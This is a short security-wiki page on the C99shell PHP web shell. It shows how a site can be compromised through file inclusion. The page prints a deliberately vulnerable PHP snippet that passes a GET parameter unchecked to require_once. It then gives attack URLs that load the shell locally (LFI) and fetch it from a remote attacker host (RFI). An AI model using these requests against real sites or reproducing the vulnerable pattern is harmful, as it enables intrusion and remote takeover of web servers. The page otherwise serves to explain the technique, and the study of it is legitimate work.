C99Shell

From aldeid
Jump to: navigation, search

Description

C99shell-001.png

c99shell is a one file PHP script that can be called:

Download

Usage

Local File Inclusion (LFI)

Suppose there is a vulnerable web site that contains the following code (index.php):

<?php
if(isset($_GET["page"])) {
  require_once($_GET["page"]);
}
...
?>

You can exploit a Local File Inclusion (LFI) attack by calling C99shell this way:

http://www.somevulnerablesite/index.php?page=c99.txt

Remote File Inclusion (RFI)

Suppose there is a vulnerable web site that contains the following code (index.php):

<?php
if(isset($_GET["page"])) {
  require_once($_GET["page"]);
}
...
?>

You can exploit a Remote File Inclusion (RFI) attack by calling C99shell this way:

http://www.somevulnerablesite/index.php?page=http://www.hackerssite/phpshells/c99.txt